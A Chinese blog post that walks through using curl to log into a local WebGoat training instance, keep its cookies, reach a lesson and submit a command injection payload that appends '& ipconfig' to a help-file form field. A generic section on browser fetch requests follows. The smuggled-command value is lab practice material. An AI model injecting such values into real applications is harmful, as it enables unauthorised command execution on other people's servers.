curl摸拟浏览器运行WebGoat

本文详细介绍通过curl命令登录WebGoat平台并进行命令注入攻击的步骤。文章首先讲解如何获取并保存Cookie,接着演示如何提交表单进入主页面,最后提供具体的命令注入示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个WebGoat有一些个性化的操作,所以记录在此

步骤:

 

1、 curl -u "guest:guest" -D cookie.jar "http://localhost/WebGoat/attack"  -v

登录进入WebGoat,并保存COOKIE

 

2、 curl -u "guest:guest" -b cookie.jar -d "start=Start+WebGoat" "http://localhost/WebGoat/attack" -v

提交start = Start WebGoat的表单,进入WebGoat的主页面。

此时,应该查看页面源代码中你想点的链接是什么

如:

 

<td><img src="images/buttons/lessonComplete.jpg"><a href="attack?Screen=497&menu=1200">Command Injection</a></td>

 

注意: WebGoat对不同的COOKIE,返回的页面链接并不相同,如果在后面的步骤中,你访问的是浏览器里查看到的链接,很可能那个链接就不存在,返回的是主页中的介绍信息,而不是你想访问的链接的内容。

另外,由于WebGoat是使用NTLM认证协议,所以每次curl,都得带-u "guest:guest"

 

3、curl -u "guest:guest" -b cookie.jar "http://localhost/WebGoat/attack?Screen=503&menu=1200" -v

这样就可以访问到你想访问的链接了。

 

4、如果要实现命令注入,提交如下:

curl -u "guest:guest" -b cookie.jar -d "HelpFile=AccessControlMatrix.help%22%20%26%20ipconfig&SUBMIT=View" "http://localhost/WebGoat/attack?Screen=497&menu=1200" -v > a.html

 

 

### 浏览器中的Curl命令执行 大多数现代浏览器并不直接支持在开发者控制台中运行`curl`命令。然而,可以通过JavaScript的`fetch` API 或者 `XMLHttpRequest` 来实现类似的HTTP请求功能[^2]。 对于希望模仿`curl`行为的情况,在浏览器环境中通常会采用如下方式: #### 使用 Fetch API 发送 GET 请求 ```javascript fetch('https://www.example.com') .then(response => response.text()) .then(data => console.log(data)) .catch(error => console.error('Error:', error)); ``` #### 模拟带有Cookie的GET请求 (类似于 curl -b) 为了携带Cookies,可以设置credentials模式为`include`: ```javascript fetch('https://www.cookiesite.com', { credentials: 'include' }) .then(response => response.text()) .then(data => console.log(data)) .catch(error => console.error('Error:', error)); ``` #### 执行 POST 请求并提交表单数据 当需要模拟登录或者其他形式的数据提交时,可构建POST请求: ```javascript const formData = new FormData(); formData.append('username', 'your_username'); formData.append('password', 'your_password'); fetch('http://example.com/wp-login.php', { method: 'POST', body: formData, credentials: 'include' // 如果目标站点期望接收cookie }).then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Error:', error)); ``` 值得注意的是,由于同源策略(Same-Origin Policy)的存在,跨域请求可能会受到限制除非服务器端配置了合适的 CORS 头信息允许此类操作[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值